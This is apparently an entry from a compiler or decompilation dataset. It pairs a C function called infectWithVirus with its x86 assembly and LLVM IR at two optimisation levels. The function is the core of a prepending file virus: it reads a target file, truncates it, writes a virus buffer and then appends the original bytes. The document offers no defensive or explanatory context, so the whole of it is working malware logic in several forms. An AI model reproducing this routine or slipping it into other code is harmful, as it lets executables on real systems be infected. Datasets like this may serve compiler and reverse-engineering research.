#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int st_size;
};

/* Variables and functions */
int O_RDONLY;
int O_RDWR;
int O_TRUNC;
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ free(char *);
int fstat(int, struct stat *);
char *malloc(int);
int /*<<< orphan*/ memcpy(char *, char *, int);
int open(char *, int);
int read(int, char *, int);
int /*<<< orphan*/ write(int, char *, int);
int infectWithVirus(char *argv, char *virusBuf, int virusLen) {
  char *fileBuf;
  char offBuf = 0x00;
  int fd, i = 0;
  struct stat fstatInfo;
  if ((fd = open(argv, O_RDONLY)) == -1) {
    return -1;
  }
  if (fstat(fd, &fstatInfo) == -1) {
    close(fd);
    return -1;
  }
  fileBuf = malloc(sizeof(char) * fstatInfo.st_size);
  while (read(fd, &offBuf, 1) == 1) {
    memcpy(&fileBuf[i++], &offBuf, 1);
  }
  close(fd);
  if ((fd = open(argv, O_RDWR | O_TRUNC)) == -1) {
    return -1;
  }
  for (i = 0; i < virusLen; i++) {
    write(fd, &virusBuf[i], 1);
  }
  for (i = 0; i < fstatInfo.st_size; i++) {
    write(fd, &fileBuf[i], 1);
  }
  close(fd);
  free(fileBuf);
  return 0;
}


x86 assembly (clang, -O0):
<infectWithVirus>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
mov    %rdi,-0x10(%rbp)
mov    %rsi,-0x18(%rbp)
mov    %edx,-0x1c(%rbp)
movb   $0x0,-0x29(%rbp)
movl   $0x0,-0x34(%rbp)
mov    -0x10(%rbp),%rdi
mov    0x2e2f(%rip),%rax
mov    (%rax),%esi
call   1090 <open@plt>
mov    %eax,-0x30(%rbp)
cmp    $0xffffffff,%eax
jne    11c8 <infectWithVirus+0x48>
movl   $0xffffffff,-0x4(%rbp)
jmp    130a <infectWithVirus+0x18a>
mov    -0x30(%rbp),%edi
lea    -0x38(%rbp),%rsi
call   10a0 <fstat@plt>
cmp    $0xffffffff,%eax
jne    11f1 <infectWithVirus+0x71>
mov    -0x30(%rbp),%edi
call   1050 <close@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    130a <infectWithVirus+0x18a>
movslq -0x38(%rbp),%rax
shl    $0x0,%rax
mov    %eax,%edi
call   1080 <malloc@plt>
mov    %rax,-0x28(%rbp)
mov    -0x30(%rbp),%edi
lea    -0x29(%rbp),%rsi
mov    $0x1,%edx
call   1060 <read@plt>
cmp    $0x1,%eax
jne    1245 <infectWithVirus+0xc5>
mov    -0x28(%rbp),%rdi
mov    -0x34(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x34(%rbp)
cltq
add    %rax,%rdi
lea    -0x29(%rbp),%rsi
mov    $0x1,%edx
call   1070 <memcpy@plt>
jmp    1204 <infectWithVirus+0x84>
mov    -0x30(%rbp),%edi
call   1050 <close@plt>
mov    -0x10(%rbp),%rdi
mov    0x2d88(%rip),%rax
mov    (%rax),%esi
mov    0x2d97(%rip),%rax
or     (%rax),%esi
call   1090 <open@plt>
mov    %eax,-0x30(%rbp)
cmp    $0xffffffff,%eax
jne    1280 <infectWithVirus+0x100>
movl   $0xffffffff,-0x4(%rbp)
jmp    130a <infectWithVirus+0x18a>
movl   $0x0,-0x34(%rbp)
mov    -0x34(%rbp),%eax
cmp    -0x1c(%rbp),%eax
jge    12b9 <infectWithVirus+0x139>
mov    -0x30(%rbp),%edi
mov    -0x18(%rbp),%rsi
movslq -0x34(%rbp),%rax
add    %rax,%rsi
mov    $0x1,%edx
call   1040 <write@plt>
mov    -0x34(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x34(%rbp)
jmp    1287 <infectWithVirus+0x107>
movl   $0x0,-0x34(%rbp)
mov    -0x34(%rbp),%eax
cmp    -0x38(%rbp),%eax
jge    12f2 <infectWithVirus+0x172>
mov    -0x30(%rbp),%edi
mov    -0x28(%rbp),%rsi
movslq -0x34(%rbp),%rax
add    %rax,%rsi
mov    $0x1,%edx
call   1040 <write@plt>
mov    -0x34(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x34(%rbp)
jmp    12c0 <infectWithVirus+0x140>
mov    -0x30(%rbp),%edi
call   1050 <close@plt>
mov    -0x28(%rbp),%rdi
call   1030 <free@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<infectWithVirus>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x28,%rsp
mov    %edx,%r15d
mov    %rsi,%rbx
mov    %rdi,%rbp
movb   $0x0,0xf(%rsp)
mov    0x2e35(%rip),%rax
mov    (%rax),%esi
call   1090 <open@plt>
mov    $0xffffffff,%r12d
cmp    $0xffffffff,%eax
je     12e9 <infectWithVirus+0x169>
mov    %eax,%r14d
lea    0x18(%rsp),%rsi
mov    %eax,%edi
call   10a0 <fstat@plt>
cmp    $0xffffffff,%eax
je     12e1 <infectWithVirus+0x161>
mov    %rbp,0x20(%rsp)
mov    %r15d,%ebp
mov    0x18(%rsp),%r15d
mov    %r15d,%edi
call   1080 <malloc@plt>
mov    %rax,0x10(%rsp)
lea    0xf(%rsp),%rsi
mov    %r14d,%edi
mov    $0x1,%edx
call   1060 <read@plt>
cmp    $0x1,%eax
jne    1239 <infectWithVirus+0xb9>
lea    0xf(%rsp),%r12
mov    0x10(%rsp),%r13
nopl   0x0(%rax)
mov    %r13,%rdi
mov    %r12,%rsi
mov    $0x1,%edx
call   1070 <memcpy@plt>
mov    %r14d,%edi
mov    %r12,%rsi
mov    $0x1,%edx
call   1060 <read@plt>
add    $0x1,%r13
cmp    $0x1,%eax
je     1210 <infectWithVirus+0x90>
mov    %r14d,%edi
call   1050 <close@plt>
mov    0x2d98(%rip),%rax
mov    0x2da9(%rip),%rcx
mov    (%rcx),%esi
or     (%rax),%esi
mov    0x20(%rsp),%rdi
call   1090 <open@plt>
cmp    $0xffffffff,%eax
mov    $0xffffffff,%r12d
je     12e9 <infectWithVirus+0x169>
mov    %eax,%r14d
test   %ebp,%ebp
jle    129a <infectWithVirus+0x11a>
mov    %ebp,%ebp
cs nopw 0x0(%rax,%rax,1)
nop
mov    %r14d,%edi
mov    %rbx,%rsi
mov    $0x1,%edx
call   1040 <write@plt>
add    $0x1,%rbx
add    $0xffffffffffffffff,%rbp
jne    1280 <infectWithVirus+0x100>
test   %r15d,%r15d
jle    12ca <infectWithVirus+0x14a>
mov    0x10(%rsp),%rbx
cs nopw 0x0(%rax,%rax,1)
xchg   %ax,%ax
mov    %r14d,%edi
mov    %rbx,%rsi
mov    $0x1,%edx
call   1040 <write@plt>
add    $0x1,%rbx
add    $0xffffffffffffffff,%r15
jne    12b0 <infectWithVirus+0x130>
mov    %r14d,%edi
call   1050 <close@plt>
mov    0x10(%rsp),%rdi
call   1030 <free@plt>
xor    %r12d,%r12d
jmp    12e9 <infectWithVirus+0x169>
mov    %r14d,%edi
call   1050 <close@plt>
mov    %r12d,%eax
add    $0x28,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.stat = type { i32 }
@O_RDONLY = global i32 0
@O_RDWR = global i32 0
@O_TRUNC = global i32 0
define i32 @infectWithVirus(i8* %0, i8* %1, i32 %2) {
%4 = alloca i32
%5 = alloca i8*
%6 = alloca i8*
%7 = alloca i32
%8 = alloca i8*
%9 = alloca i8
%10 = alloca i32
%11 = alloca i32
%12 = alloca %struct.stat
store i8* %0, i8** %5
store i8* %1, i8** %6
store i32 %2, i32* %7
store i8 0, i8* %9
store i32 0, i32* %11
%13 = load i8*, i8** %5
%14 = load i32, i32* @O_RDONLY
%15 = call i32 @open(i8* %13, i32 %14)
store i32 %15, i32* %10
%16 = icmp eq i32 %15, -1
br i1 %16, label %17, label %18
17: ; preds = %3
store i32 -1, i32* %4
br label %89
18: ; preds = %3
%19 = load i32, i32* %10
%20 = call i32 @fstat(i32 %19, %struct.stat* %12)
%21 = icmp eq i32 %20, -1
br i1 %21, label %22, label %25
22: ; preds = %18
%23 = load i32, i32* %10
%24 = call i32 @close(i32 %23)
store i32 -1, i32* %4
br label %89
25: ; preds = %18
%26 = getelementptr inbounds %struct.stat, %struct.stat* %12, i32 0, i32 0
%27 = load i32, i32* %26
%28 = sext i32 %27 to i64
%29 = mul i64 1, %28
%30 = trunc i64 %29 to i32
%31 = call i8* @malloc(i32 %30)
store i8* %31, i8** %8
br label %32
32: ; preds = %36, %25
%33 = load i32, i32* %10
%34 = call i32 @read(i32 %33, i8* %9, i32 1)
%35 = icmp eq i32 %34, 1
br i1 %35, label %36, label %43
36: ; preds = %32
%37 = load i8*, i8** %8
%38 = load i32, i32* %11
%39 = add nsw i32 %38, 1
store i32 %39, i32* %11
%40 = sext i32 %38 to i64
%41 = getelementptr inbounds i8, i8* %37, i64 %40
%42 = call i32 @memcpy(i8* %41, i8* %9, i32 1)
br label %32
43: ; preds = %32
%44 = load i32, i32* %10
%45 = call i32 @close(i32 %44)
%46 = load i8*, i8** %5
%47 = load i32, i32* @O_RDWR
%48 = load i32, i32* @O_TRUNC
%49 = or i32 %47, %48
%50 = call i32 @open(i8* %46, i32 %49)
store i32 %50, i32* %10
%51 = icmp eq i32 %50, -1
br i1 %51, label %52, label %53
52: ; preds = %43
store i32 -1, i32* %4
br label %89
53: ; preds = %43
store i32 0, i32* %11
br label %54
54: ; preds = %65, %53
%55 = load i32, i32* %11
%56 = load i32, i32* %7
%57 = icmp slt i32 %55, %56
br i1 %57, label %58, label %68
58: ; preds = %54
%59 = load i32, i32* %10
%60 = load i8*, i8** %6
%61 = load i32, i32* %11
%62 = sext i32 %61 to i64
%63 = getelementptr inbounds i8, i8* %60, i64 %62
%64 = call i32 @write(i32 %59, i8* %63, i32 1)
br label %65
65: ; preds = %58
%66 = load i32, i32* %11
%67 = add nsw i32 %66, 1
store i32 %67, i32* %11
br label %54
68: ; preds = %54
store i32 0, i32* %11
br label %69
69: ; preds = %81, %68
%70 = load i32, i32* %11
%71 = getelementptr inbounds %struct.stat, %struct.stat* %12, i32 0, i32 0
%72 = load i32, i32* %71
%73 = icmp slt i32 %70, %72
br i1 %73, label %74, label %84
74: ; preds = %69
%75 = load i32, i32* %10
%76 = load i8*, i8** %8
%77 = load i32, i32* %11
%78 = sext i32 %77 to i64
%79 = getelementptr inbounds i8, i8* %76, i64 %78
%80 = call i32 @write(i32 %75, i8* %79, i32 1)
br label %81
81: ; preds = %74
%82 = load i32, i32* %11
%83 = add nsw i32 %82, 1
store i32 %83, i32* %11
br label %69
84: ; preds = %69
%85 = load i32, i32* %10
%86 = call i32 @close(i32 %85)
%87 = load i8*, i8** %8
%88 = call i32 @free(i8* %87)
store i32 0, i32* %4
br label %89
89: ; preds = %84, %52, %22, %17
%90 = load i32, i32* %4
ret i32 %90
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@O_RDONLY = global i32 0
@O_RDWR = global i32 0
@O_TRUNC = global i32 0
define i32 @infectWithVirus(i8* nocapture %0, i8* nocapture %1, i32 %2) {
%4 = alloca i8
%5 = alloca %struct.stat
store i8 0, i8* %4
%6 = bitcast %struct.stat* %5 to i8*
%7 = load i32, i32* @O_RDONLY
%8 = tail call i32 @open(i8* %0, i32 %7)
%9 = icmp eq i32 %8, -1
br i1 %9, label %58, label %10
10: ; preds = %3
%11 = call i32 @fstat(i32 %8, %struct.stat* %5)
%12 = icmp eq i32 %11, -1
br i1 %12, label %13, label %15
13: ; preds = %10
%14 = tail call i32 @close(i32 %8)
br label %58
15: ; preds = %10
%16 = getelementptr inbounds %struct.stat, %struct.stat* %5, i64 0, i32 0
%17 = load i32, i32* %16
%18 = tail call i8* @malloc(i32 %17)
%19 = call i32 @read(i32 %8, i8* %4, i32 1)
%20 = icmp eq i32 %19, 1
br i1 %20, label %21, label %28
21: ; preds = %15, %21
%22 = phi i64 [ %23, %21 ], [ 0, %15 ]
%23 = add nuw i64 %22, 1
%24 = getelementptr inbounds i8, i8* %18, i64 %22
%25 = call i32 @memcpy(i8* %24, i8* %4, i32 1)
%26 = call i32 @read(i32 %8, i8* %4, i32 1)
%27 = icmp eq i32 %26, 1
br i1 %27, label %21, label %28
28: ; preds = %21, %15
%29 = call i32 @close(i32 %8)
%30 = load i32, i32* @O_RDWR
%31 = load i32, i32* @O_TRUNC
%32 = or i32 %31, %30
%33 = call i32 @open(i8* %0, i32 %32)
%34 = icmp eq i32 %33, -1
br i1 %34, label %58, label %35
35: ; preds = %28
%36 = icmp sgt i32 %2, 0
br i1 %36, label %37, label %39
37: ; preds = %35
%38 = zext i32 %2 to i64
br label %43
39: ; preds = %43, %35
%40 = icmp sgt i32 %17, 0
br i1 %40, label %41, label %55
41: ; preds = %39
%42 = zext i32 %17 to i64
br label %49
43: ; preds = %37, %43
%44 = phi i64 [ 0, %37 ], [ %47, %43 ]
%45 = getelementptr inbounds i8, i8* %1, i64 %44
%46 = call i32 @write(i32 %33, i8* %45, i32 1)
%47 = add nuw nsw i64 %44, 1
%48 = icmp eq i64 %47, %38
br i1 %48, label %39, label %43
49: ; preds = %41, %49
%50 = phi i64 [ 0, %41 ], [ %53, %49 ]
%51 = getelementptr inbounds i8, i8* %18, i64 %50
%52 = call i32 @write(i32 %33, i8* %51, i32 1)
%53 = add nuw nsw i64 %50, 1
%54 = icmp eq i64 %53, %42
br i1 %54, label %55, label %49
55: ; preds = %49, %39
%56 = call i32 @close(i32 %33)
%57 = call i32 @free(i8* %18)
br label %58
58: ; preds = %28, %3, %55, %13
%59 = phi i32 [ -1, %13 ], [ 0, %55 ], [ -1, %3 ], [ -1, %28 ]
ret i32 %59
}